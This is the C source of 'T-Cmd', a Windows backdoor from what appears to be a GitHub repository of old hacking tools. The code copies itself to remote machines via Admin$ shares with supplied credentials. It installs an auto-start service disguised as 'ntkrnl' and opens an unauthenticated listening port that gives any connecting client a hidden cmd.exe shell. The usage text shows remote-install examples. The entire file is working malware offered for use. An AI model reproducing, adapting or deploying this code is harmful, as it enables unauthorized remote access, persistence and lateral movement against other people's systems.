2006-defconbot/T-cmd.cpp

github.com/crackeeer/2006-defconbot/blob/master/T-cmd.cpp

crackeeer

crackeeer/**2006-defconbot**

defbot

1 Contributor | 0 Issues | 0 Stars | 0 Forks

```
#include <windows.h>
#include <stdio.h>

#define BUFFER_SIZE 1024

typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;
```

```
HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void WINAPI CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);

BOOL ConnectRemote(BOOL,char *,char *,char *);
void InstallCmdService(char *);
void RemoveCmdService(char *);

void Start(void);
void Usage(void);

int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
{NULL ,NULL }
};

if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
```

```
}

if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}

if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
return 0;
}
else if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL);
}
else
{
Start();
Usage();
}
```

```
return 0;
}

StartServiceCtrlDispatcher(DispatchTable);

return 0;
}

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;

ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}

ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
```

```
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}

hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}

return ;
}

void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
```

```
}
else
{
lpProcessDataHead=NULL;
}
}

ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}

ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}

return ;
}
```

```
DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}

hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
```

```
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;

while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}

WSACleanup();
return 0;
}

DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
```

```
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}

GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));

WaitForSingleObject(hMutex,INFINITE);
```

```
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}

hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);

CloseHandle(hWriteShell);
CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
```

```
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}

sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
```

```
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
```

```
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);

return 0;
}

DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail:
TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}
```

```
for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}

shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}

DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
```

```
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}

shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
```

```
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}

if(bConnect)
{
printf("Now Connecting ..... ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED) ||
(dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
else if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
break;
}
else
{
printf("Failure !\n");
return FALSE;
}
Sleep(10);
```

```
}
}
else
{
printf("Now Disconnecting ... ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}

return TRUE;
}

void InstallCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;
```

```
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}

printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
```

```
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}

printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
```

```
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}

printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
```

```
}

while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}

void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
```

```
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;

if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
```

```
return ;
}

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
```

```
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}

printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
```

```
else
{
printf("Success !\n");
}
}

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);

printf("Removing File ..... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}

return ;
}

void Start()
```

```
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");
printf("\t\t---[ HomePage: www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003 ]---\n\n");
return ;
}

void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");
printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n");
printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}
```